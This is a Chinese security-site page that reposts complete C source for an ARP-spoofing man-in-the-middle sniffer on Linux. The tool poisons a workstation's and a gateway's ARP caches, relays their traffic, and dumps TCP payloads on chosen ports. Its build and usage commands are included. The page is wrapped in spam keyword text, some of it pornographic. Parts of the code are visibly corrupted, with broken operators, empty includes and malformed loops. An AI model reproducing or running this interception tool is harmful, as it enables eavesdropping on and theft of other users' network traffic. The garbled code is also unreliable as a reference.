精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Arp Sniffer在linux下面的具體實現

安全 黑客攻防
arp sniffer源代碼,在紅帽9.0下編譯通過,不喜勿入。
/*============================================================================
Coder:  Paris-ye
Released on: 1/9/2003
Test on: redhat 9.0

Information:
This is a arp spoof sniffer.
W <--- workstation
B <--- Server or  GateWay
M <--- Man in the middle (agent),self IP address

Make:
first you must install "pcap" and "libnet"
gcc -I/usr/local/include -L/usr/local/lib -o sniffer sniffer.c -lpcap -lnet

Usage:
./sniffer -I [Interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
============================================================================*/

#include ;
#include ;
#include ;
#include ;
#include ;

#define  MAXBUF 1024*4
#define  PCAP_TOUT 5
#define  PROMISC 0
#define  TRUE 1
#define  FALSE 0

/* Ethernet protocol ID's */    
#define ETHERTYPE_PUP           0x0200          /* Xerox PUP */
#define ETHERTYPE_IP            0x0800          /* IP */
#define ETHERTYPE_ARP           0x0806          /* Address resolution */
#define ETHERTYPE_REVARP        0x8035          /* Reverse ARP */

/* This structure defines an ethernet arp header.  */

/* ARP protocol opcodes. */
#define ARPOP_REQUEST   1               /* ARP request.  */
#define ARPOP_REPLY     2               /* ARP reply.  */
#define ARPOP_RREQUEST  3               /* RARP request.  */
#define ARPOP_RREPLY    4               /* RARP reply.  */
#define ARPOP_InREQUEST 8               /* InARP request.  */
#define ARPOP_InREPLY   9               /* InARP reply.  */
#define ARPOP_NAK       10              /* (ATM)ARP NAK.  */

/* ARP protocol HARDWARE identifiers. */
#define ARPHRD_NETROM   0               /* From KA9Q: NET/ROM pseudo. */
#define ARPHRD_ETHER    1               /* Ethernet 10/100Mbps.  */
#define ARPHRD_EETHER   2               /* Experimental Ethernet.  */
#define ARPHRD_AX25     3               /* AX.25 Level 2.  */
#define ARPHRD_PRONET   4               /* PROnet token ring.  */
#define ARPHRD_CHAOS    5               /* Chaosnet.  */
#define ARPHRD_IEEE802  6               /* IEEE 802.2 Ethernet/TR/TB.  */
#define ARPHRD_ARCNET   7               /* ARCnet.  */
#define ARPHRD_APPLETLK 8               /* APPLEtalk.  */
#define ARPHRD_DLCI     15              /* Frame Relay DLCI.  */
#define ARPHRD_ATM      19              /* ATM.  */
#define ARPHRD_METRICOM 23              /* Metricom STRIP (new IANA id).  */

/* Dummy types for non ARP hardware */
#define ARPHRD_SLIP       0x256
#define ARPHRD_CSLIP      0x257
#define ARPHRD_SLIP6      0x258
#define ARPHRD_CSLIP6     0x259
#define ARPHRD_RSRVD      0x260             /* Notional KISS type.  */
#define ARPHRD_ADAPT      0x264
#define ARPHRD_ROSE       0x270 
#define ARPHRD_X25        0x271             /* CCITT X.25.  */
#define ARPHDR_HWX25      0x272             /* Boards with X.25 in firmware.  */
#define ARPHRD_PPP        0x512
#define ARPHRD_CISCO      0x513             /* Cisco HDLC.  */
#define ARPHRD_HDLC       ARPHRD_CISCO
#define ARPHRD_LAPB       0x516             /* LAPB.  */
#define ARPHRD_DDCMP      0x517             /* Digital's DDCMP.  */
#define ARPHRD_RAWHDLC    0x518             /* Raw HDLC.  */
    
#define ARPHRD_TUNNEL     0x768             /* IPIP tunnel.  */
#define ARPHRD_TUNNEL6    0x769             /* IPIP6 tunnel.  */
#define ARPHRD_FRAD       0x770             /* Frame Relay Access Device.  */
#define ARPHRD_SKIP       0x771             /* SKIP vif.  */
#define ARPHRD_LOOPBACK   0x772             /* Loopback device.  */
#define ARPHRD_LOCALTLK   0x773             /* Localtalk device.  */
#define ARPHRD_FDDI       0x774             /* Fiber Distributed Data Interface. */
#define ARPHRD_BIF        0x775             /* AP1000 BIF.  */ 
#define ARPHRD_SIT        0x776             /* sit0 device - IPv6-in-IPv4.  */
#define ARPHRD_IPDDP      0x777             /* IP-in-DDP tunnel.  */
#define ARPHRD_IPGRE      0x778             /* GRE over IP.  */
#define ARPHRD_PIMREG     0x779             /* PIMSM register interface.  */
#define ARPHRD_HIPPI      0x780             /* High Performance Parallel I'face. */
#define ARPHRD_ASH        0x781             /* (Nexus Electronics) Ash.  */
#define ARPHRD_ECONET     0x782             /* Acorn Econet.  */
#define ARPHRD_IRDA       0x783             /* Linux-IrDA.  */
#define ARPHRD_FCPP       0x784             /* Point to point fibrechanel.  */
#define ARPHRD_FCAL       0x785             /* Fibrechanel arbitrated loop.  */
#define ARPHRD_FCPL       0x786             /* Fibrechanel public loop.  */
#define ARPHRD_FCPFABRIC  0x787             /* Fibrechanel fabric.  */
#define ARPHRD_IEEE802_TR 0x800             /* Magic type ident for TR.  */
#define ARPHRD_IEEE80211  0x801             /* IEEE 802.11.  */

/* IP version number */
#define IPVERSION       4

struct ether_header
{
u_int8_t  ether_dhost[6];      /* destination eth addr */
u_int8_t  ether_shost[6];      /* source ether addr    */
u_int16_t ether_type;          /* packet type ID field */
};

struct arphdr
{
        unsigned short int ar_hrd;          /* Format of hardware address.  */
        unsigned short int ar_pro;          /* Format of protocol address.  */
        unsigned char ar_hln;               /* Length of hardware address.  */
        unsigned char ar_pln;               /* Length of protocol address.  */
        unsigned short int ar_op;           /* ARP opcode (command).  */
        unsigned char __ar_sha[6];          /* Sender hardware address.  */
        unsigned char __ar_sip[4];          /* Sender IP address.  */
        unsigned char __ar_tha[6];          /* Target hardware address.  */
        unsigned char __ar_tip[4];          /* Target IP address.  */
};

/*
 * Structure of an internet header, naked of options.
 */
struct iphead
{
unsigned int ip_hl:4;               /* header length */
unsigned int ip_v:4;                /* version */
u_int8_t ip_tos;                    /* type of service */
u_short ip_len;                     /* total length */
u_short ip_id;                      /* identification */
u_short ip_off;                     /* fragment offset field */
u_int8_t ip_ttl;                    /* time to live */
u_int8_t ip_p;                      /* protocol */
u_short ip_sum;                     /* checksum */
u_char ip_src[4], ip_dst[4];      /* source and dest address */
};

struct tcphead
  {
    u_int16_t th_sport;         /* source port */
    u_int16_t th_dport;         /* destination port */
    u_int32_t th_seq;             /* sequence number */
    u_int32_t th_ack;             /* acknowledgement number */
    u_int8_t th_off:4;          /* data offset */
    u_int8_t th_x2:4;           /* (unused) */
    u_int8_t th_flags;
#define TH_FIN        0x01
#define TH_SYN        0x02
#define TH_RST        0x04
#define TH_PUSH       0x08
#define TH_ACK        0x10
#define TH_URG        0x20
    u_int16_t th_win;           /* window */
    u_int16_t th_sum;           /* checksum */
    u_int16_t th_urp;           /* urgent pointer */
};

/*
 * W , S , M 's ip and mac address
 */
struct ipmacaddr
{
u_char ipW[4];
u_char macW[6];
u_char ipS[4];
u_char macS[6];
u_char ipM[4];
u_char macM[6];
};
int usage(char* argv)
{
printf("====================================\n");
printf("============Arp Sniffer=============\n");
printf("==========Write by Paris-Ye=========\n");
        printf("===Usage: %s -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]\n", argv);
printf("===For example:\n");
printf("\t%s -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254\n",argv);
        return 0;
}

/*send arp packet function*/
int arpsend(libnet_t* lnet,u_char* smac,u_char* sip,u_char* dmac,u_char* dip)
{
int ret=0;
u_char* packet;
u_long packets;
libnet_ptag_t t;
struct ether_header* ethh;
struct arphdr* arph;

packets=sizeof(struct ether_header)+sizeof(struct arphdr);
packet = malloc(packets);
ethh = (struct ether_header* ) packet;
arph = (struct arphdr* ) (packet+sizeof(struct ether_header));

memcpy(ethh->;ether_dhost,dmac,6);
memcpy(ethh->;ether_shost,smac,6);
ethh->;ether_type = htons(ETHERTYPE_ARP);
arph->;ar_hrd = htons(ARPOP_REQUEST);
arph->;ar_pro = htons(ARPHRD_IEEE802_TR);
arph->;ar_hln = 6;
arph->;ar_pln = 4;
arph->;ar_op = htons(ARPHRD_ETHER);
memcpy(arph->;__ar_sha,smac,6);
memcpy(arph->;__ar_sip,sip,4);
bzero(arph->;__ar_tha,6);
memcpy(arph->;__ar_tip,dip,4);
ret = libnet_write_link(
lnet,
packet,
packets
);
if(ret == -1)
{
return FALSE;
}
return TRUE;
}

/*Send spoof arp S And W every 6 second interval*/
void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac)
{
while(TRUE)
{
arpsend(lnet,ipmac->;macM,ipmac->;ipS,ipmac->;macW,ipmac->;ipW);
arpsend(lnet,ipmac->;macM,ipmac->;ipW,ipmac->;macS,ipmac->;ipS);
sleep(6);
}
}

/*Forward packets W--->;S or S--->;W*/
int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM)
{
int ret=0;
const u_char* datapoint=packet;
struct ether_header* ethhdr;
struct iphead*       iph;

ethhdr = (struct ether_header*) datapoint;

if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)
return TRUE;
if(!memcmp(ethhdr->;ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/
return TRUE;
if(memcmp(ethhdr->;ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/
return TRUE;
if(!memcmp(ethhdr->;ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/
{
memcpy(ethhdr->;ether_shost,macM,6);
memcpy(ethhdr->;ether_dhost,macS,6);
ret = libnet_write_link(
lnet,
(u_char*)datapoint,
len
);
}
if(!memcmp(ethhdr->;ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/
{
memcpy(ethhdr->;ether_shost,macM,6);
memcpy(ethhdr->;ether_dhost,macW,6);
ret = libnet_write_link(
lnet,
(u_char*)datapoint,
len
);
}

return TRUE;
}

/*print hex date to Ascii */
void printdat(u_char* packet,int len)
{
int i=0,j=0;
u_char str[16];
for(i=0;i<=len-16;i+=16)
{
memcpy(str,packet+i,16);
fprintf(stdout,"%02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x  ",
str[0],str[1],str[2],str[3],
str[4],str[5],str[6],str[7],
str[8],str[9],str[10],str[11],
str[12],str[13],str[14],str[15]
);
for(j=0;j<16;j++)
{
if(str[j] < 32 || str[j] >; 126)
str[j]='.';
}
fprintf(stdout,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
str[0],str[1],str[2],str[3],
str[4],str[5],str[6],str[7],
str[8],str[9],str[10],str[11],
str[12],str[13],str[14],str[15]
);
}
if(i!=len)
{
memcpy(str,packet+i,16);
for(j=0;j<16;j++)
{
if(j%4==0 && j!=0)
fprintf(stdout," ");
if((i+j){
fprintf(stdout,"%02x",str[j]);
}
else
fprintf(stdout,"  ");
}
fprintf(stdout,"  ");
for(j=0;j<16;j++)
{
if((i+j){
if(str[j] < 32 || str[j] >; 126)
str[j]='.';
fprintf(stdout,"%c",str[j]);
}
}
fprintf(stdout,"\n\n");
}
}

/*parse packet*/
int  parsedate(const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM,u_char* ipW,u_char* ipS,int* port)
{
int i=0;
int     contents;
u_char* content;
const u_char* datapoint=packet;
struct ether_header* ethhdr;
struct iphead*       iph;
struct tcphead*      tcph;

ethhdr = (struct ether_header*) datapoint;
iph = (struct iphead*) (datapoint+sizeof(struct ether_header));
tcph = (struct tcphead*) (datapoint+sizeof(struct ether_header)+sizeof(struct iphead));
if(memcmp(ethhdr->;ether_shost,macW,6) && memcmp(ethhdr->;ether_shost,macS,6))
return FALSE;
if(memcmp(ethhdr->;ether_dhost,macM,6))
return FALSE;
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)
return FALSE;
if(iph->;ip_v != 4 || iph->;ip_hl != 5)
return FALSE;
if(!(!memcmp(iph->;ip_dst,ipW,4) || !memcmp(iph->;ip_src,ipW,4)))
return FALSE;
if(iph->;ip_p != IPPROTO_TCP)
return FALSE;
contents = htons(iph->;ip_len)-sizeof(struct iphead)-sizeof(struct tcphead);
content = (u_char *)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead)+sizeof(struct tcphead));
if((tcph->;th_flags & TH_PUSH))
{
for(i==0;port!=0;i++)
{
printf("=====%d %d\n",port,htons(tcph->;th_dport));
if(port==htons(tcph->;th_dport) || port==htons(tcph->;th_sport))
break;
}
if(port==0)
return;
printf("Size:[%d] [%d.%d.%d.%d:%d]->;[%d.%d.%d.%d:%d]\n",htons(iph->;ip_len),
iph->;ip_src[0],iph->;ip_src[1],iph->;ip_src[2],iph->;ip_src[3],htons(tcph->;th_sport),
iph->;ip_dst[0],iph->;ip_dst[1],iph->;ip_dst[2],iph->;ip_dst[3],htons(tcph->;th_dport)
);
printdat(content,contents);
}

return TRUE;
}

/*Sniffer packets*/
int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port)
{
const u_char* packet;
struct pcap_pkthdr hdr;
while(1)
{
packet=pcap_next(lpcap,&hdr);
if(packet==NULL || hdr.len==0)
continue;
parsedate(packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM,ipmac->;ipW,ipmac->;ipS,port);
forwarddate(lnet,packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM);
}

return TRUE;
}

/*
When initialize Get the S and W Mac address
Send arp request 
*/
int gettargetmac(libnet_t* lnet,struct ipmacaddr* ipmac)
{
while(1)
{
arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macW,ipmac->;ipW);
arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macS,ipmac->;ipS);
sleep(1);
}
return TRUE;
}

/*
When initialize Get the S and W Mac address
parse arp reply
*/
int getmacaddress(char* dev,libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac)
{
int skfd=0;
unsigned int isgetmac=0x0;
pid_t pid=0;
struct ifreq ifr;
const u_char* packet;
struct pcap_pkthdr hdr;
struct ether_header* ethhdr;
struct arphdr* arph;

//----------get local mac adrress
strcpy(ifr.ifr_name,dev);
skfd = socket(AF_INET,SOCK_DGRAM,0);
if(skfd<0)
{
printf("Can't open socket!\n");
return FALSE;
}
if(ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0)
{
printf("Can't read local mac address!\n");
return FALSE;
}
memcpy(ipmac->;macM,ifr.ifr_hwaddr.sa_data,6);
close(skfd);
//----------get target mac address
pid = fork();
if(pid==0)
{
gettargetmac(lnet,ipmac);
exit(TRUE);
}
while(1)
{
packet=pcap_next(lpcap,&hdr);
if(packet==NULL || hdr.len==0)
continue;
ethhdr = (struct ether_header*) packet;
arph = (struct arphdr*) (packet+sizeof(struct ether_header));

if(memcmp(ethhdr->;ether_dhost,ipmac->;macM,6))
continue;
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_ARP)
continue;
if(!memcmp(arph->;__ar_sip,ipmac->;ipW,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4))
{
memcpy(ipmac->;macW,arph->;__ar_sha,6);
isgetmac=0xFFFF0000 | isgetmac;
}
if(!memcmp(arph->;__ar_sip,ipmac->;ipS,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4))
{
memcpy(ipmac->;macS,arph->;__ar_sha,6);
isgetmac=0x0000FFFF | isgetmac;
}
if(isgetmac == 0xFFFFFFFF)
break;
}
kill(pid,9);
return TRUE;
}

int main(int argc,char* argv[])
{
int          ret=0,i=0;
char  *p,*s;
char c;
char string[]="I:M:W:S:P:";
int port[100];
char dev[32]="";
struct ipmacaddr ipmac;
pid_t pid;
libnet_t* lnet;
pcap_t*     lpcap;
bpf_u_int32 netp,maskp;
struct bpf_program fp;
char        err[PCAP_ERRBUF_SIZE];
char        filterstr[]="";


unsigned int ipM;
unsigned int ipW;
unsigned int ipS;
u_char macW[] = {255,255,255,255,255,255,255};
u_char macS[] = {255,255,255,255,255,255,255};
u_char macM[] = {255,255,255,255,255,255,255};

bzero(&ipmac,sizeof(struct ipmacaddr));
if(argc<8)
{
usage(argv[0]);
return FALSE;
}
while((c = getopt(argc, argv, string)) != EOF)
{
switch(c)
{
case('I'):
strcpy(dev,optarg);
break;
case('M'):
ipM = inet_addr(optarg);
memcpy(ipmac.ipM,(void*)&ipM,4);
break;
case('W'):
ipW = inet_addr(optarg);
memcpy(ipmac.ipW,(void*)&ipW,4);
break;
case('S'):
ipS = inet_addr(optarg);
memcpy(ipmac.ipS,(void*)&ipS,4);
break;
case('P'):
printf("%s\n",optarg);
s = optarg;
       p=strtok(s,":");
         while(p)
         {
port=atoi(p);
           printf("%d\n",port);
           p=strtok(NULL,":");
i++;
        }
port=0;

break;
default:
usage(argv[0]);
return FALSE;
}
}

memcpy(ipmac.macW,macW,6);
memcpy(ipmac.macS,macS,6);
memcpy(ipmac.macM,macM,6);
ret = pcap_lookupnet(dev,&netp,&maskp,err);
if(ret == -1)
{
printf("Can't initialize PCAP![%s]\n",err);
return FALSE;
}
lpcap = pcap_open_live(
dev,
MAXBUF,
PROMISC,
PCAP_TOUT,
err
);
if(lpcap == NULL)
{
printf("Can't initialize PCAP![%s]\n",err);
return FALSE;
}

ret = pcap_compile(lpcap,&fp,filterstr,0,netp);
if(ret == -1)
{
printf("Error pcap_compile!\n");
return FALSE;
}

ret = pcap_setfilter(lpcap,&fp);
if(ret == -1)
{
printf("Error pcap_setfilter!\n");
return FALSE;
}

lnet = libnet_init(
LIBNET_LINK,
dev,
err);
if(lnet == NULL)
{
printf("Can't initialize libnet!Please check the [dev]\n");
return FALSE;
}

ret = getmacaddress(dev,lnet,lpcap,&ipmac);
printf("Get network cards mac address:\n");
printf("M->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macM[0],ipmac.macM[1],ipmac.macM[2],ipmac.macM[3],ipmac.macM[4],ipmac.macM[5],ipmac.macM[6]);
printf("W->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macW[0],ipmac.macW[1],ipmac.macW[2],ipmac.macW[3],ipmac.macW[4],ipmac.macW[5],ipmac.macW[6]);
printf("S->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macS[0],ipmac.macS[1],ipmac.macS[2],ipmac.macS[3],ipmac.macS[4],ipmac.macS[5],ipmac.macS[6]);
printf("\nNow Start... .. .\n");
if(ret == FALSE)
{
return FALSE;
}

pid = fork();
if(pid==0)
{
arpspoof(lnet,&ipmac);
return FALSE;
}else
{
agentpacket(lnet,lpcap,&ipmac,port);
}

libnet_destroy(lnet);
pcap_close(lpcap);
printf("Done\n");
return TRUE;
}

責任編輯:王文文 來源: CHINAUNIX
相關推薦

2011-04-21 11:21:47

Linux路徑

2009-09-28 16:22:14

2009-07-15 21:35:39

2009-11-23 16:09:50

PHP實現偽靜態化頁面

2010-06-21 10:25:09

Linux APM

2009-08-12 17:12:51

C#讀取文件夾

2012-12-13 10:34:35

ARP欺騙

2010-06-13 15:20:20

Linux 查看內存

2010-06-11 17:12:53

Linux rsync

2010-06-21 17:32:36

2009-09-08 09:30:00

2010-06-21 17:51:53

Linux Arp命令

2010-06-11 17:04:45

php sendmai

2009-12-11 14:46:13

2010-06-21 17:10:02

Linux Arp命令

2010-06-13 15:08:05

Linux 查看網絡流

2013-04-07 13:47:12

2009-12-22 15:58:08

2011-07-20 12:01:13

2010-06-17 17:22:30

Cacti 監控Lin
點贊
收藏

51CTO技術棧公眾號

国产91在线|亚洲| 91亚洲国产高清| 欧美性色视频在线| 日韩在线电影一区| 精品国自产在线观看| 日韩视频在线一区二区三区 | 日本精品一区二区三区高清 | 污污片在线免费视频| 成人a区在线观看| 国产精品老女人精品视频| 久草视频免费播放| 日本激情一区| 精品香蕉在线观看视频一| 在线播放黄色av| 在线中文字幕播放| 亚洲美女视频一区| 日韩精品不卡| 五十路在线观看| 国产一区二区三区黄视频| 欧美综合一区第一页| 日韩成人毛片视频| 成人精品视频| 亚洲成人aaa| 天天久久综合网| 午夜精品成人av| 一区二区三区美女视频| 亚洲第一导航| 毛片免费在线| 91免费观看国产| av在线不卡观看| 国产精品免费无遮挡| 午夜不卡影院| 亚洲视频在线一区| 91精品在线观看视频| 免费av网站在线| 红桃视频国产精品| 成人444kkkk在线观看| 人与嘼交av免费| 亚洲日产av中文字幕| 欧美mv和日韩mv国产网站| 九九九九九九九九| 色999韩欧美国产综合俺来也| 色综合天天综合在线视频| 日韩a级在线观看| 丝袜美腿av在线| 亚洲天堂成人网| 一区二区日本伦理| 五月婷婷在线视频| 国产精品美女久久久久久久久| 欧美xxxx黑人又粗又长精品| 天堂中文在线看| 成人黄色在线视频| 国产麻豆日韩| 香蕉视频国产在线| 91小视频免费观看| 鲁鲁视频www一区二区| 奇米影视888狠狠狠777不卡| 91最新地址在线播放| 精品高清视频| 欧美孕妇孕交| 国产欧美日产一区| 一区二区不卡在线观看| 婷婷在线视频观看| 亚洲免费视频中文字幕| 欧美日韩视频免费| 国产欧洲在线| 91精品福利在线| 9久久婷婷国产综合精品性色| 免费污视频在线一区| 欧美日韩国产区一| 亚洲成人av免费观看| 97se亚洲| 亚洲免费电影一区| 天美传媒免费在线观看| 一区二区电影| 午夜精品一区二区三区av| 欧美成人精品欧美一级乱黄| 亚洲欧美视频一区二区三区| 日本电影亚洲天堂| 中文字幕一区二区三区四区视频| 久久精品国产亚洲一区二区三区| 91系列在线播放| 欧美 日韩 人妻 高清 中文| 久久久久久一二三区| 亚洲一卡二卡三卡四卡无卡网站在线看| 免费网站成人| 亚洲福利视频三区| 爱情岛论坛成人| 国产麻豆一区二区三区| 亚洲国产欧美久久| 免费看的黄色录像| 亚洲国产美女| 国产精品精品一区二区三区午夜版 | 国产成人av网址| 国产精品国产一区二区三区四区| 丰满放荡岳乱妇91ww| 欧美一进一出视频| 中文字幕有码在线观看| 色婷婷久久久亚洲一区二区三区| 蜜桃福利午夜精品一区| 亚洲+变态+欧美+另类+精品| www国产精品视频| 天天操天天摸天天干| 美国一区二区三区在线播放 | 国产欧美日韩精品丝袜高跟鞋| 精品国产乱码一区二区三| 久久亚洲私人国产精品va媚药| 欧美aaa在线观看| 日韩电影网站| 亚洲精品一线二线三线| 制服丨自拍丨欧美丨动漫丨| 最新国产乱人伦偷精品免费网站| 国产精品一区二区久久久| 你懂的网站在线| 亚洲欧美另类小说视频| 超碰影院在线观看| 精品久久ai| 久久精品国产99国产精品澳门| 特级毛片www| 粉嫩绯色av一区二区在线观看| 亚洲欧洲精品在线观看| 伊伊综合在线| 亚洲福利视频网站| 黑人巨大精品一区二区在线| 日韩在线一二三区| 久久国产精品99久久久久久丝袜| 中日韩高清电影网| 欧美精品九九99久久| www色com| 三级久久三级久久| 欧美日韩综合久久| 精品三级久久| 亚洲福利视频二区| 日韩 国产 在线| 国产suv一区二区三区88区| 永久免费精品视频网站| 91精品美女| 夜夜嗨av一区二区三区免费区 | 欧美欧美欧美欧美| 丰满的亚洲女人毛茸茸| 日日欢夜夜爽一区| 欧洲一区二区日韩在线视频观看免费| 新版的欧美在线视频| 亚洲国产精品yw在线观看| 妺妺窝人体色www在线下载| 国产原创一区二区| av磁力番号网| 欧美日韩国产一区二区在线观看| 久久av资源网站| 国产成人精品一区二三区四区五区 | 欧美日韩国产三区| 中文字幕21页在线看| 日韩电影中文 亚洲精品乱码| 久久夜色精品亚洲| 26uuu亚洲综合色| 国产精品乱码久久久久| 欧美日韩国产在线观看网站| 国产精品久久久91| 欧美日本高清| 日韩欧美一区二区三区在线| 欧美被狂躁喷白浆精品| 成人性视频网站| 国产一级爱c视频| 你懂的一区二区三区| 国产精品91免费在线| 在线免费看黄网站| 91麻豆精品国产自产在线观看一区| 免费看特级毛片| 国产盗摄视频一区二区三区| 黄色一级片在线看| 蜜乳av综合| 成人午夜激情网| 蜜臀av国内免费精品久久久夜夜| 日韩黄色高清视频| 日本妇乱大交xxxxx| 中文字幕一区二区三区色视频| 欧美体内she精高潮| 亚洲激情网址| 五月天亚洲综合| 麻豆国产一区| 欧美一级视频一区二区| caoporn国产精品免费视频| 91麻豆精品久久久久蜜臀 | av理论在线观看| 亚洲精品av在线播放| 波多野结衣视频免费观看| 亚洲欧洲性图库| 成熟妇人a片免费看网站| 老司机免费视频久久| 天天综合五月天| 欧美热在线视频精品999| 91夜夜揉人人捏人人添红杏| 久久影院午夜精品| 波霸ol色综合久久| 偷拍自拍在线视频| 欧美一级生活片| 狠狠人妻久久久久久| 成人欧美一区二区三区1314| 韩国无码一区二区三区精品| 久久精品久久综合| 黄色大片在线免费看| 91综合网人人| 欧美日韩在线一区二区三区| 日韩三级精品| 国产精品偷伦一区二区| 激情国产在线| 欧美国产中文字幕| 成a人片在线观看www视频| 欧美xxxxx牲另类人与| 国产精品成人无码| 日韩欧美国产高清91| 亚洲成人生活片| 欧美国产视频在线| 亚洲精品女人久久久| 国产精品自在在线| 在线观看免费的av| 日韩电影免费在线看| 欧美精品自拍视频| 国产精品多人| 欧美少妇一区二区三区| 日韩av自拍| 日本三级中国三级99人妇网站| 岛国成人av| 成人在线国产精品| 先锋影音一区二区| 国产精品情侣自拍| 色老太综合网| 91高清免费在线观看| 后进极品白嫩翘臀在线播放| 欧美成人全部免费| 国产写真视频在线观看| 中文字幕亚洲一区在线观看 | 久久久久久久久久久久av| 欧美午夜电影一区二区三区| 尤物九九久久国产精品的分类| 飘雪影院手机免费高清版在线观看| 亚洲精品一区二区在线观看| 国产三级午夜理伦三级| 91麻豆精品国产| 国产乱子伦精品无码码专区| 欧美日韩国产综合久久| 国产第一页在线观看| 色偷偷一区二区三区| 日日夜夜狠狠操| 91官网在线免费观看| 日本熟女毛茸茸| 日本高清免费不卡视频| 国产精品久久久久久久久夜色| 一本到三区不卡视频| 蜜臀精品一区二区三区| 在线国产亚洲欧美| 在线观看中文字幕网站| 欧美日韩www| 99热这里只有精品99| 日韩欧美国产一区二区三区| 亚洲国产精品欧美久久| 亚洲国产欧美一区| 免费福利在线观看| 在线电影av不卡网址| 日本不卡不卡| 久99久在线视频| 女人高潮被爽到呻吟在线观看| 2020欧美日韩在线视频| 日韩a**中文字幕| 国产噜噜噜噜噜久久久久久久久| 伊人久久大香伊蕉在人线观看热v| 91久久国产精品91久久性色| 日本一区精品视频| 精品免费二区三区三区高中清不卡 | 69av视频在线| 性感美女久久精品| 加勒比在线一区| 91精品中文字幕一区二区三区| av av片在线看| 日韩电影第一页| 欧美一区二区三区在线观看免费| 久久影院在线观看| 免费成人在线电影| 国产欧美日韩最新| 国内视频在线精品| 亚洲国内在线| 影音先锋亚洲精品| 亚洲不卡视频在线| 国产成人免费网站| www在线观看免费视频| 亚洲欧美在线观看| 天天干天天干天天| 91精品一区二区三区久久久久久 | 精品中文在线| 麻豆av福利av久久av| 91成人精品视频| 免费黄色日本网站| 国产一区欧美日韩| 成人免费网站黄| 夜夜操天天操亚洲| 亚洲图片欧美日韩| 精品盗摄一区二区三区| 国产女主播在线直播| 欧美精品xxx| 成人在线免费av| 国内精品国语自产拍在线观看| 日韩精品91| 国产一区二区三区精彩视频| 国产乱人伦精品一区二区在线观看 | 久久久久久com| 日韩电影精品| 欧美日韩在线观看一区| 狠狠爱www人成狠狠爱综合网 | 国产99精品国产| 99国产精品免费| 天天综合色天天综合色h| 国产又粗又猛又爽| 在线视频精品一| 中文字幕高清在线播放| 91成人免费视频| 99久久99久久精品国产片果冰| 国产精品视频一区二区三区四区五区| 国产丶欧美丶日本不卡视频| 能直接看的av| 色综合天天狠狠| 亚洲欧美一区二区三| 欧美极品少妇xxxxⅹ免费视频| 午夜不卡一区| 亚洲一卡二卡三卡四卡无卡网站在线看| 欧美综合二区| 成人性生活免费看| 亚洲成人动漫精品| 成 人 黄 色 片 在线播放| 久久精品一区中文字幕| 成人自拍视频网| 日韩免费av电影| 视频一区免费在线观看| 中文字幕在线免费看线人 | 久久99亚洲精品| 综合欧美精品| 日本黄色a视频| 国产一区二三区| 91插插插插插插| 91精品国产综合久久香蕉的特点| 午夜伦理在线| 成人一区二区电影| 亚洲国产日韩欧美在线| 亚洲精品在线网址| 亚洲欧美国产高清| av在线亚洲天堂| 欧美大学生性色视频| 成人激情自拍| 成 年 人 黄 色 大 片大 全| 福利一区二区在线观看| 国产精品99re| 亚洲精品在线91| 欧美影视资讯| 影音先锋亚洲视频| 国产精品亚洲综合一区在线观看| 欧美日韩在线观看成人| 精品国产区一区| 樱花草涩涩www在线播放| 欧美亚洲另类久久综合| 日本美女一区二区三区视频| 91视频免费看片| 日韩美女视频在线| gogo久久| 欧美xxxx黑人又粗又长精品| 日韩电影免费在线观看网站| 国产性生活大片| 精品三级av在线| 亚洲色图官网| 亚洲一区三区视频在线观看| 国产精品一区专区| 青青操免费在线视频| 国产一区二区动漫| 成人动漫视频在线观看| 美女黄色免费看| 国产日韩欧美在线一区| 97精品人妻一区二区三区在线| 久久久久久12| 欧美精选一区二区三区| 亚洲国产欧美日韩在线| 精品久久久久久久久久| 在线激情网站| 国产精品区一区二区三含羞草| 午夜在线视频观看日韩17c| 男人的天堂av网| 亚洲成av人影院在线观看| 丁香久久综合| 国产精品久久久久7777| 日本一区二区视频在线观看| 国产免费无遮挡| 91高清视频免费观看| 一个色综合网| 高清国产在线观看| 精品国产1区二区| 日韩毛片网站| 日本一区二区黄色| 亚洲丝袜精品丝袜在线| 肉丝一区二区| www.成人av.com| 麻豆高清免费国产一区| 日韩视频免费观看高清| 久久久国产视频|